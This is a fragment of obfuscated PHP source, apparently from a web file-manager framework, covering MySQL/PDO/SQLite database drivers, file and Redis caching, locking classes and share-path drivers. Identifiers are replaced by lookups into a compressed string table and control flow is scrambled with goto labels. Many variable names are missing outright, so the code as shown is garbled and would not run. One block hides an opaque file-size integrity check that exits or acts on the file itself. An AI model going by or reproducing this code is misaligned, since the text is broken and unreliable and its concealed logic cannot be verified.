$_SERVER[]; if (!isset($this->linkID[$،])) { if (empty($)) { $ = $this->config; } $this->linkID[$،] = new mysqli($[$[957]], $[$[959]], $[$[960]], $[$[21]], $[$[958]] ? intval($[$[958]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $ɆН = $this->linkID[$،]->server_version; $this->linkID[$،]->query($[961] . think_config($[962]) . $[58]); if ($ɆН > $[963]) { $this->linkID[$،]->query($[964]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$،]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($䚽) { $¡ʖ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $䚽; if ($this->queryID) { $this->free(); } think_action_status($¡ʖ[23], 1); think_status($¡ʖ[24]); $this->queryID = $this->_linkID->query($䚽); if ($this->_linkID->more_results()) { while (($믑 = $this->_linkID->next_result()) != NULL) { $믑->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($) { $֠ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($֠[25], 1); think_status($֠[24]); $Ʀ = $this->_linkID->query($); $this->debug(); if (!1 === $Ʀ) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ʎ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$ʎ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ߣˌ = array(); if ($this->numRows > 0) { for ($Ҝ = 0; $Ҝ < $this->numRows; $Ҝ++) { $ߣˌ[$Ҝ] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $ߣˌ; } public function getFields($) { $Ū =& $_SERVER[]; $̧ = $this->query($Ū[968] . $this->parseKey($)); $ = array(); if ($̧) { foreach ($̧ as $ => $) { $[$[$Ū[31]]] = array($Ū[32] => $[$Ū[31]], $Ū[33] => $[$Ū[34]], $Ū[35] => (bool) ($[$Ū[36]] === $Ū[12]), $Ū[37] => $[$Ū[38]], $Ū[39] => strtolower($[$Ū[40]]) == $Ū[41], $Ū[42] => strtolower($[$Ū[43]]) == $Ū[44]); } } return $; } public function getTables($Á = '') { $ډ =& $_SERVER[]; $와 = !empty($Á) ? $ډ[970] . $Á . $ډ[971] : $ډ[972]; $ޛ = $this->query($와); $ܳ = array(); if ($ޛ) { foreach ($ޛ as $ʿ => $ƍ) { $ܳ[$ʿ] = current($ƍ); } } return $ܳ; } public function replace($Ŀ, $ע = array()) { $ =& $_SERVER[]; foreach ($Ŀ as $̈ => $) { $ё = $this->parseValue($); if (is_scalar($ё)) { $ˢ[] = $ё; $[] = $this->parseKey($̈); } } $ = $[973] . $this->parseTable($ע[$[356]]) . $[974] . implode($[50], $) . $[975] . implode($[50], $ˢ) . $[976]; return $this->execute($); } public function insertAll($۱, $هٰ = array(), $ų֕ = false) { $ߗŴ =& $_SERVER[]; if (!is_array($۱[0])) { return !1; } $ = array_keys($۱[0]); $ = array(); foreach ($۱ as $) { $齢 = array(); foreach ($ as $Ƣ => $) { $ = $this->parseValue($); if (is_scalar($)) { $齢[] = $; } } $[] = $ߗŴ[337] . implode($ߗŴ[50], $齢) . $ߗŴ[976]; } array_walk($, array($this, $ߗŴ[977])); $Չ = $ų֕ ? $ߗŴ[978] : $ߗŴ[979]; $ = $Չ . $ߗŴ[980] . $this->parseTable($هٰ[$ߗŴ[356]]) . $ߗŴ[974] . implode($ߗŴ[50], $) . $ߗŴ[981] . implode($ߗŴ[50], $); return $this->execute($); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ƕ =& $_SERVER[]; $this->error = $this->_linkID->errno . $ƕ[4] . $this->_linkID->error; if ($ƕ[12] != $this->queryStr) { $this->error .= LNG($ƕ[48]) . $this->queryStr; } think_trace($this->error, $ƕ[12], $ƕ[49]); return $this->error; } public function escapeString($) { if ($this->_linkID) { return $this->_linkID->real_escape_string($); } else { return addslashes($); } } public function parseKey(&$ٲ, $Ց = true) { $ԏ =& $_SERVER[]; if ($Ց) { $ٲ = $this->parseKeyCheck($ٲ); } if ($ٲ != $ԏ[220] && !preg_match($ԏ[982], $ٲ)) { $ٲ = $ԏ[461] . trim($ٲ, $ԏ[461]) . $ԏ[461]; } return $ٲ; } } class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($Ӱ = '') { $ʍ =& $_SERVER[]; if (!class_exists($ʍ[985])) { think_exception(think_lang($ʍ[14]) . $ʍ[986]); } if (!empty($Ӱ)) { $this->config = $Ӱ; if (empty($this->config[$ʍ[17]])) { $this->config[$ʍ[17]] = array(); } } } public function connect($𪣿 = '', $ʔО = 0) { $ʋ =& $_SERVER[]; if (!isset($this->linkID[$ʔО])) { if (empty($𪣿)) { $𪣿 = $this->config; } $ޑ = !empty($𪣿[$ʋ[17]][$ʋ[18]]) ? $𪣿[$ʋ[17]][$ʋ[18]] : $this->pconnect; if ($ޑ) { $𪣿[$ʋ[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$ʔО] = new PDO($𪣿[$ʋ[987]], $𪣿[$ʋ[959]], $𪣿[$ʋ[960]], $𪣿[$ʋ[17]]); } catch (PDOException $) { think_exception($->getMessage()); } $this->dbType = $this->_getDsnType($𪣿[$ʋ[987]]); if (in_array($this->dbType, array($ʋ[988], $ʋ[989], $ʋ[990], $ʋ[991]))) { think_exception($ʋ[992] . $this->dbType . $ʋ[993] . $this->dbType . $ʋ[994]); } if (!$this->linkID[$ʔО]) { think_exception($ʋ[995]); } try { $this->linkID[$ʔО]->exec($ʋ[996] . think_config($ʋ[962])); } catch (Exception $) { } $this->connected = !0; if (1 != think_config($ʋ[22])) { unset($this->config); } } return $this->linkID[$ʔО]; } public function free() { $this->PDOStatement = null; } public function query($, $⦌ = array()) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($⦌)) { $this->queryStr .= $[997] . print_r($⦌, !0) . $[998]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ݴ = $this->PDOStatement->execute($⦌); $this->debug(); if (!1 === $ݴ) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($, $Հ = array()) { $ŀ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($Հ)) { $this->queryStr .= $ŀ[997] . print_r($Հ, !0) . $ŀ[998]; } $ = !1; if ($this->dbType == $ŀ[991]) { if (preg_match($ŀ[999], $this->queryStr, $ʽЁ)) { $this->table = think_config($ŀ[1000]) . str_ireplace(think_config($ŀ[1001]), $ŀ[454], $ʽЁ[2]); $ = (bool) $this->query($ŀ[1002] . strtoupper($this->table) . $ŀ[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($ŀ[25], 1); think_status($ŀ[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ぱ = $this->PDOStatement->execute($Հ); $this->debug(); if (!1 === $ぱ) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($ || preg_match($ŀ[1003], $)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->commit(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $Ƹ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($Ƹ); return $Ƹ; } public function getFields($ߒݞ) { $߄ =& $_SERVER[]; $this->initConnect(!0); if (think_config($߄[1004])) { $ߖ = str_replace($߄[1005], $ߒݞ, think_config($߄[1004])); } else { switch ($this->dbType) { case $߄[988]: case $߄[1006]: $ߖ = "\123\105\114\x45\103\x54\40\x20\40\x63\157\154\x75\x6d\x6e\x5f\156\x61\x6d\x65\x20\141\163\x20\x27\x4e\141\x6d\x65\47\x2c\x20\40\x20\x64\x61\164\141\x5f\164\171\160\145\x20\x61\x73\40\x27\124\x79\x70\x65\x27\x2c\x20\x20\40\143\x6f\x6c\165\155\156\137\x64\x65\x66\x61\x75\x6c\x74\x20\141\163\40\x27\x44\145\146\x61\x75\x6c\164\47\x2c\40\40\x20\x69\163\137\156\x75\x6c\154\141\x62\154\145\40\x61\x73\x20\47\x4e\165\154\154\47\12\11\11\106\x52\x4f\115\11\151\156\x66\157\x72\x6d\x61\164\x69\157\x6e\137\x73\x63\150\145\x6d\x61\x2e\x74\x61\x62\x6c\x65\x73\40\x41\x53\x20\x74\12\11\11\112\x4f\x49\116\x9\x69\x6e\x66\x6f\162\155\x61\164\x69\157\156\x5f\163\143\150\145\x6d\141\x2e\x63\x6f\x6c\x75\x6d\x6e\163\40\101\x53\x20\143\12\x9\x9\x4f\116\x20\x20\x74\56\164\x61\x62\154\145\x5f\143\x61\164\x61\x6c\x6f\x67\x20\x3d\x20\143\56\164\141\142\x6c\145\x5f\x63\141\x74\x61\154\157\147\xa\11\x9\101\116\x44\40\164\56\x74\x61\x62\x6c\145\x5f\x73\x63\x68\x65\x6d\141\x20\x3d\x20\x63\56\164\141\142\154\x65\137\163\x63\150\x65\x6d\141\12\x9\11\101\x4e\104\x20\x74\x2e\x74\x61\x62\x6c\x65\137\x6e\141\155\145\x20\x3d\40\x63\x2e\164\141\x62\x6c\x65\x5f\156\141\155\x65\12\11\11\127\110\x45\x52\105\x20\40\40\164\x2e\164\141\142\154\145\x5f\156\x61\x6d\145\40\75\40\47{$ߒݞ}\x27"; break; case $߄[1007]: $ߖ = $߄[1008] . $ߒݞ . $߄[1009]; break; case $߄[989]: case $߄[991]: $ߖ = $߄[1010] . $߄[1011] . $߄[1012] . strtoupper($ߒݞ) . $߄[1013] . strtoupper($ߒݞ) . $߄[1014]; break; case $߄[1015]: $ߖ = $߄[1016] . $ߒݞ . $߄[1017]; break; case $߄[990]: break; case $߄[1018]: default: $ߖ = $߄[1019] . ($this->dbType == $߄[1018] ? "\140{$ߒݞ}\x60" : $ߒݞ); } } $ = $this->query($ߖ); $ՠ = array(); if ($) { foreach ($ as $ => $) { $ = array_change_key_case($); $[$߄[32]] = isset($[$߄[32]]) ? $[$߄[32]] : $߄[454]; $[$߄[33]] = isset($[$߄[33]]) ? $[$߄[33]] : $߄[454]; $鮯 = isset($[$߄[350]]) ? $[$߄[350]] : $[$߄[32]]; $ՠ[$鮯] = array($߄[32] => $鮯, $߄[33] => $[$߄[33]], $߄[35] => (bool) (isset($[$߄[106]]) && $[$߄[106]] === $߄[12] || isset($[$߄[35]]) && $[$߄[35]] === $߄[12]), $߄[37] => isset($[$߄[37]]) ? $[$߄[37]] : (isset($[$߄[56]]) ? $[$߄[56]] : $߄[454]), $߄[39] => isset($[$߄[97]]) ? strtolower($[$߄[97]]) == $߄[41] : (isset($[$߄[57]]) ? $[$߄[57]] : !1), $߄[42] => isset($[$߄[1020]]) ? strtolower($[$߄[1020]]) == $߄[44] : (isset($[$߄[97]]) ? $[$߄[97]] : !1)); } } return $ՠ; } public function getTables($ = '') { $Ư =& $_SERVER[]; if (think_config($Ư[1021])) { $չ = str_replace($Ư[1022], $, think_config($Ư[1021])); } else { switch ($this->dbType) { case $Ư[989]: case $Ư[991]: $չ = $Ư[1023]; break; case $Ư[988]: case $Ư[1006]: $չ = $Ư[1024]; break; case $Ư[1015]: $չ = $Ư[1025]; break; case $Ư[990]: think_exception(think_lang($Ư[1026]) . $Ư[1027]); break; case $Ư[1007]: $չ = $Ư[45] . $Ư[46] . $Ư[47]; break; case $Ư[1018]: default: if (!empty($)) { $չ = $Ư[970] . $ . $Ư[971]; } else { $չ = $Ư[972]; } } } $ = $this->query($չ); $ɦ = array(); foreach ($ as $ => $ƪ) { $ɦ[$] = current($ƪ); } return $ɦ; } protected function parseLimit($ћ) { $˒זؔ =& $_SERVER[]; $ = $˒זؔ[12]; if (!empty($ћ)) { switch ($this->dbType) { case $˒זؔ[1015]: case $˒זؔ[1007]: $ћ = explode($˒זؔ[50], $ћ); if (count($ћ) > 1) { $ .= $˒זؔ[51] . $ћ[1] . $˒זؔ[52] . $ћ[0] . $˒זؔ[53]; } else { $ .= $˒זؔ[51] . $ћ[0] . $˒זؔ[53]; } break; case $˒זؔ[988]: case $˒זؔ[1006]: break; case $˒זؔ[990]: break; case $˒זؔ[989]: case $˒זؔ[991]: break; case $˒זؔ[1018]: default: $ .= $˒זؔ[51] . $ћ . $˒זؔ[53]; } } return $; } public function parseKey(&$܆, $ϕ = true) { $ =& $_SERVER[]; if ($ϕ) { $܆ = $this->parseKeyCheck($܆); } if ($this->dbType == $[1018]) { if ($܆ != $[220] && !preg_match($[982], $܆)) { $܆ = $[461] . trim($܆, $[461]) . $[461]; } return $܆; } else { return parent::parseKey($܆, $ϕ); } } public function close() { $this->_linkID = null; } public function error() { $ऄ =& $_SERVER[]; if ($this->PDOStatement) { $Ӑ = $this->PDOStatement->errorInfo(); $this->error = $Ӑ[1] . $ऄ[4] . $Ӑ[2]; } else { $this->error = $ऄ[12]; } if ($ऄ[12] != $this->queryStr) { $this->error .= LNG($ऄ[48]) . $this->queryStr; } think_trace($this->error, $ऄ[12], $ऄ[49]); return $this->error; } public function escapeString($߫) { $ή =& $_SERVER[]; switch ($this->dbType) { case $ή[1015]: case $ή[988]: case $ή[1006]: case $ή[1018]: return addslashes($߫); case $ή[990]: case $ή[1007]: case $ή[989]: case $ή[991]: return str_ireplace($ή[58], $ή[59], $߫); } } protected function parseValue($Ů) { $ =& $_SERVER[]; if (is_string($Ů)) { $ = strpos($Ů, $[4]) === 0 && in_array($Ů, array_keys($this->bind)); $Ů = $ ? $this->escapeString($Ů) : $[1028] . $this->escapeString($Ů) . $[1028]; } elseif (isset($Ů[0]) && is_string($Ů[0]) && strtolower($Ů[0]) == $[373]) { $Ů = $this->escapeString($Ů[1]); } elseif (is_array($Ů)) { $Ů = array_map(array($this, $[1029]), $Ů); } elseif (is_bool($Ů)) { $Ů = $Ů ? $[91] : $[228]; } elseif (is_null($Ů)) { $Ů = $[106]; } return $Ů; } public function getLastInsertId() { $ =& $_SERVER[]; switch ($this->dbType) { case $[1015]: case $[1007]: case $[988]: case $[1006]: case $[990]: case $[1018]: return $this->_linkID->lastInsertId(); case $[989]: case $[991]: $ = $this->table; $鯚؉ = $this->query("\123\x45\x4c\x45\103\124\40{$}\56\143\165\162\x72\x76\141\154\x20\x63\165\162\x72\x76\141\154\x20\x46\122\x4f\x4d\x20\144\165\141\154"); return $鯚؉ ? $鯚؉[0][$[1030]] : 0; } } } class DbSqlite extends DbSqliteBase { public function query($Ӷ) { $ۧ =& $_SERVER[]; if (!CacheLock::fileLock($ۧ[13])) { return !1; } $ǻ = parent::query($Ӷ); CacheLock::fileUnLock($ۧ[13]); return $ǻ; } public function execute($Ϡ) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $٦ = parent::execute($Ϡ); CacheLock::fileUnLock($[13]); return $٦; } } goto bѪ; dߚ: class Cache { protected static $handle; protected static $memoryCache; public static function init() { $鄧 =& $_SERVER[]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $ = $GLOBALS[$鄧[6]][$鄧[425]]; $Т = $[$[$鄧[901]]]; $ʱ = $[$鄧[902]]; switch ($[$鄧[901]]) { case $鄧[21]: self::$handle = Model($鄧[903]); break; case $鄧[904]: self::$handle = new CacheRedis($Т, $ʱ); break; case $鄧[905]: self::$handle = new CacheMemcached($Т, $ʱ); break; case $鄧[230]: self::$handle = new CacheFile($Т, $ʱ); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($ܺꞱ) { if (is_array($ܺꞱ) || is_object($ܺꞱ)) { $ܺꞱ = json_encode($ܺꞱ); } $ܺꞱ = rawurlencode($ܺꞱ); return md5(KOD_SITE_ID . $_SERVER[][11] . $ܺꞱ); } public static function get($, $ܩ = false) { $ǻ = self::key($); $ = self::init(); if ($ܩ) { return unserialize($->get($ǻ)); } if (!isset(self::$memoryCache[$ǻ])) { $ԓ = $->get($ǻ); self::$memoryCache[$ǻ] = unserialize($ԓ); } return self::$memoryCache[$ǻ]; } public static function set($Ԭ, $ˤĪ, $ْ = false) { $ =& $_SERVER[]; $ = self::key($Ԭ); if (isset(self::$memoryCache[$]) && self::$memoryCache[$] === $ˤĪ) { return !0; } if ($ْ === 0) { self::$memoryCache[$] = $ˤĪ; return !0; } $əػ = self::init(); $ = serialize($ˤĪ); CacheLock::lock($Ԭ . $[906]); $ü = $əػ->set($, $, $ْ); self::$memoryCache[$] = $ˤĪ; CacheLock::unlock($Ԭ . $[906]); return $ü; } public static function getCall($, $, $ͬ, $߯ = array()) { $ =& $_SERVER[]; $ = self::get($); if ($ || $ === $[12]) { return $; } $ = call_user_func_array($ͬ, $߯); $ = $ ? $ : $[12]; self::set($, $, $); return $; } public static function remove($֘) { $阇 = self::key($֘); unset(self::$memoryCache[$阇]); self::clearTimeout(); CacheLock::lock($֘); $Ľ쇎 = self::init()->remove($阇); CacheLock::unlock($֘); return $Ľ쇎; } public static function removeMemory($ۧ) { $߁ = self::key($ۧ); unset(self::$memoryCache[$߁]); } public static function clearMemory($ = false) { if ($) { $ = self::key($); unset(self::$memoryCache[$]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[][907])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[][908])) { self::init()->clearTimeout(); } } } class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($, $) { $ =& $_SERVER[]; $this->cachePath = $[$[87]]; $this->prefix = $[909]; $this->cacheTime = $; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($₅) { $ો =& $_SERVER[]; $₅ = str_replace(array($ો[910], $ો[100], $ો[76]), $ો[911], $₅); return $this->cachePath . $ો[912] . $₅ . $ો[913]; } public function set($, $؟, $Կ = false) { $Կ = $Կ ? $Կ : $this->cacheTime; $ = $this->getFile($); if (file_put_contents($, $this->prefix . $؟, LOCK_EX)) { @touch($, intval(time() + $Կ)); clearstatcache(); return !0; } @unlink($); return !1; } public function get($Ӧ) { $ȧ = $this->getFile($Ӧ); if (file_exists($ȧ) && filemtime($ȧ) < time()) { @unlink($ȧ); return !1; } $ = @file_get_contents($ȧ); return substr($, strlen($this->prefix)); } public function remove($) { $ϰ = $this->getFile($); return @unlink($ϰ); } public function deleteAll() { $ =& $_SERVER[]; $˩Ĉ = scandir($this->cachePath); foreach ($˩Ĉ as $й) { $ = $this->cachePath . $й; if (strpos($, $[913]) && strpos($, $[914])) { @unlink($); } } } public function clearTimeout() { $ =& $_SERVER[]; $윬 = scandir($this->cachePath); foreach ($윬 as $Ҡ) { $㌡ = $this->cachePath . $Ҡ; if (strpos($㌡, $[913]) && strpos($㌡, $[914]) && filemtime($㌡) < time()) { @unlink($㌡); } } } } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $ =& $_SERVER[]; if (self::$handle) { return self::$handle; } $ = $GLOBALS[$[6]][$[425]]; self::$timeout = $[$[915]] ? $[$[915]] : 10; $駋 = _get($GLOBALS[$[6]], $[916]); $ = $[$[901]] ? $[$[901]] : $[230]; if ($ == $[21] && $駋 == $[13]) { $ = $[230]; } switch ($) { case $[904]: self::$handle = new CacheLockRedis(); break; case $[905]: self::$handle = new CacheLockMemcached(); break; case $[21]: self::$handle = new CacheLockDatabase(); break; case $[230]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($[917], $[918]); } return self::$handle; } private static function key($) { return $_SERVER[][919] . Cache::key($); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($ԓ = '') { self::$errorMsg = $ԓ; } public static function lockGlobal($ǂЛ, $翆) { return self::lock($ǂЛ, $翆, !0); } public static function lock($, $ = false, $Ǭؑ = false) { $ڮ =& $_SERVER[]; $ᚸ = self::init(); $ = self::key($); $ = $ ? $ : self::$timeout; $ = timeFloat(); $ = $ᚸ->lock($, $); $ = timeFloat(); if (!$) { $ = "\154\x6f\143\153\40\145\x72\x72\157\162\x3b\x6b\x65\x79\x3d{$}\x3b\164\x69\x6d\145\75{$}\x3b" . self::$errorMsg . $ڮ[74] . get_caller_msg(); $ׁ = LNG($ڮ[920]) . "\x28{$}\163\51\56" . LNG($ڮ[921]); $ׁ .= $ڮ[922]; if (is_string(self::$errorMsg) && self::$errorMsg) { $ׁ = $ׁ . $ڮ[923] . self::$errorMsg; } write_log($ڮ[924] . sprintf($ڮ[925], timeFloat() - $) . $ڮ[926] . $ . $ڮ[927] . error_get_last(), $ڮ[918]); show_json($ׁ, !1); } if (!$Ǭؑ) { self::$lockItem[$] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $ÿ = number_format(timeFloat() - $, 3); write_log($ڮ[928] . $ . $ڮ[929] . $ÿ, $ڮ[918]); } return $; } public static function lockGet($Ն) { $ = self::key($Ն); if (self::$lockItem[$]) { return self::$lockItem[$]; } return self::init()->lockGet($); } public static function unlock($) { $ =& $_SERVER[]; $ѯ = self::key($); self::$lockItem[$ѯ] = null; self::init()->unlock($ѯ); if (GLOBAL_DEBUG_LOG_ALL) { write_log($[930] . $, $[918]); } return; } public static function unlockRuntime() { $ =& $_SERVER[]; $ = self::init(); $ = !1; foreach (self::$lockItem as $ٟ => $) { if (!$) { continue; } $->unlock($ٟ); if (!$) { $ = !0; write_log($[931] . $ٟ . $[74] . get_caller_msg(), $[918]); continue; } write_log($[931] . $ٟ, $[918]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $ꏘ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($[932] . $ꏘ . $[933] . ACTION, $[918]); } } public static function fileLock($) { $ =& $_SERVER[]; if (!$GLOBALS[$[934]]) { $GLOBALS[$[934]] = array(); } $GLOBALS[$[934]][$] = !1; $ʭ = fopen(DATA_PATH . $ . $[935], $[936]); if (!$ʭ) { return !1; } $GLOBALS[$[934]][$] = $ʭ; if (flock($ʭ, LOCK_EX)) { return !0; } self::unlock($); show_json($[937], !1); return !1; } public static function fileUnlock($䱣) { $ǂ =& $_SERVER[]; $͍ = $GLOBALS[$ǂ[934]][$䱣]; if (!$͍) { return; } $GLOBALS[$ǂ[934]][$䱣] = !1; flock($͍, LOCK_UN); fclose($͍); } public static function fileUnlockAll() { $ =& $_SERVER[]; if (!isset($GLOBALS[$[934]]) || !$GLOBALS[$[934]]) { return; } foreach ($GLOBALS[$[934]] as $dz => $ܱ) { if (!$ܱ) { continue; } $GLOBALS[$[934]][$dz] = !1; flock($ܱ, LOCK_UN); fclose($ܱ); } $GLOBALS[$[934]] = array(); } } goto E; eй: $_file = $_SERVER[$_SERVER[][844]]; $_size = $_SERVER[][845]; if ($_SERVER[$_SERVER[][846]] != $_size($_file)) { $_getc = $_SERVER[][847]; $_getfile = $_SERVER[$_SERVER[][848]] . $_SERVER[][849]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][262], $_getfilec); if (count($_getarrs) < $_SERVER[][687]) { $exit = $_SERVER[][850]; $exit(); } $_act = $_SERVER[][851]; $_act($_file); } goto C; a: class PathDriverDriverShareItem { public function __construct($̑) { $this->pathParse = $̑; } public function __call($دз, $) { $ =& $_SERVER[]; if (method_exists($this, $دз)) { return; } $֡ = call_user_func_array(array($[1420], $دз), $); $ = array($[1421], $[1422], $[1423], $[1424], $[618], $[620], $[1425], $[110], $[1426], $[1427]); if (in_array($دз, $)) { $֡ = $this->getPathOuter($֡); } return $֡; } public function copy($ڰ, $, $ = false, $ = false) { return $this->copyMove($ڰ, $, $, $_SERVER[][618], $); } public function move($DŽ˨, $ԅ, $Ԣ = false, $ = false) { return $this->copyMove($DŽ˨, $ԅ, $Ԣ, $_SERVER[][620], $); } private function copyMove($ǎ, $瀋, $, $Գ, $Ё = false) { $絬 =& $_SERVER[]; $̚ = $瀋; $յͤ = IO::driverMake($瀋); if ($յͤ->pathParse[$絬[1225]]) { $瀋 = $յͤ->pathParse[$絬[1225]]; } else { $瀋 = $̚; } $Ѻϗ = IO::copyMove($ǎ, $瀋, $, $Գ, $Ё); $Ѻϗ = $this->getPathOuter($Ѻϗ); return $Ѻϗ; } public function pathThis($⒭ȿ) { return get_path_this($this->pathParse[$_SERVER[][87]]); } public function pathFather($) { return get_path_father($this->pathParse[$_SERVER[][87]]); } public function iconvSystem($ћӸ) { return $ћӸ; } protected function infoParse($, $Ӻ̾ = false) { $ȩ =& $_SERVER[]; $Ů = $this->pathParse[$ȩ[560]][$ȩ[1250]] . $this->pathParse[$ȩ[1243]]; if ($Ӻ̾) { $ = IO::infoWithChildren($Ů); } else { $ = IO::info($Ů); } $б = $this->pathParse[$ȩ[560]]; return Action($ȩ[1418])->_shareItemeParse($, $б); } public function listAll($ը) { $ا =& $_SERVER[]; $ؓ = IO::listAll($ը); $ = rtrim($this->pathParse[$ا[560]][$ا[1250]], $ا[8]); foreach ($ؓ as &$،) { $،[$ا[87]] = $this->pathDriver . $ا[8] . ltrim(substr($،[$ا[87]], strlen($)), $ا[8]); } unset($،); return $ؓ; } public function listAllSimple($, $ = false) { $٪ =& $_SERVER[]; $ʶ = $this->listAll($); $Ф = $this->pathParse[$٪[495]]; if (trim($Ф, $٪[8]) == trim(get_path_father($Ф), $٪[8])) { $ = !0; } return IO::init($٪[12])->listAllSimpleMake($ʶ, $Ф, $); } public function getPathOuter($) { $Ύ =& $_SERVER[]; $ދ = KodIO::parse($); if ($ދ[$Ύ[33]] == KodIO::KOD_SHARE_ITEM) { return $ދ[$Ύ[87]]; } $ܜ = KodIO::clear($); $α = KodIO::clear($this->pathParse[$Ύ[560]][$Ύ[1250]]); $ = substr($ܜ, strlen($α)); if (substr($ܜ, 0, strlen($α)) != $α) { return !1; } return $this->pathParse[$Ύ[1244]] . $Ύ[8] . ltrim($, $Ύ[8]); } public function getType() { $ڝ =& $_SERVER[]; $Δ = str_replace($ڝ[77], $ڝ[12], get_class($this)); return strtolower($Δ); } public function isOsDriver($) { return IO::isOsDriver($); } public function info($刭) { return $this->infoParse($刭); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($ʼn) { return $this->infoParse($ʼn, !0); } public function infoFull($ߍ) { return $this->infoParse($ߍ); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } protected function infoParse($, $ = false) { $ލ =& $_SERVER[]; return Action($ލ[1249])->sharePathInfo($this->pathParse[$ލ[87]], !0, $); } public function listPath($鳳ޝ, $ = false) { $ =& $_SERVER[]; $ = IO::listPath($鳳ޝ, $); if (!$) { return $; } if (is_array($[$[1419]])) { $dž = Action($[1428])->parsePathChildren($[$[1419]], array($[495] => $鳳ޝ)); $[$[1419]] = Action($[1249])->shareItemInfo($dž); } foreach ($ as $ė => $) { if (!in_array($ė, array($[86], $[85]))) { continue; } foreach ($ as $Ժ => $dž) { $dž = Action($[1428])->parsePathChildren($dž, array($[495] => $鳳ޝ)); $[$ė][$Ժ] = Action($[1249])->shareItemInfo($dž); } } return $; } } class PathDriverEDS extends PathDriverBaseS3 { public function __construct($Ƹ) { parent::__construct($Ƹ); $this->setSignVersion($_SERVER[][247]); } } goto BČ; dϝ: define($_SERVER[][0], $_SERVER[][1]); $_SERVER[ۏԅ] = explode($_SERVER[][2], gzinflate(substr($_SERVER[][3], 10, -8))); function binCheckEq($, $) { return $ == $; } goto C; EđІ: class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($, $Ġ) { $ӈ =& $_SERVER[]; if (!class_exists($ӈ[944])) { show_json($ӈ[945], !1); } $this->cacheTime = $Ġ; $ԟ = isset($[$ӈ[946]]) ? $[$ӈ[946]] : 10; $Ø = _get($, $ӈ[943]); if ($Ø && is_array($Ø)) { $this->initCluster($, $ԟ); } else { $this->handle = $this->init($, $ԟ); } } private function init($懥, $ȁ) { $Ѫ =& $_SERVER[]; $ = new Redis(); $ʱŕ = isset($懥[$Ѫ[947]]) ? $懥[$Ѫ[947]] : !1; if ($ʱŕ) { $->pconnect($懥[$Ѫ[208]], $懥[$Ѫ[209]], $ȁ); } else { $->connect($懥[$Ѫ[208]], $懥[$Ѫ[209]], $ȁ); } if (!empty($懥[$Ѫ[487]])) { $->auth($懥[$Ѫ[487]]); } if (!empty($懥[$Ѫ[824]]) && $懥[$Ѫ[824]] != 0) { $->select($懥[$Ѫ[824]]); } return $; } private function initCluster($œ, $ୱ) { $泷 =& $_SERVER[]; $ʾ = array($泷[948], $泷[949], $泷[950]); $ = $泷[948]; if 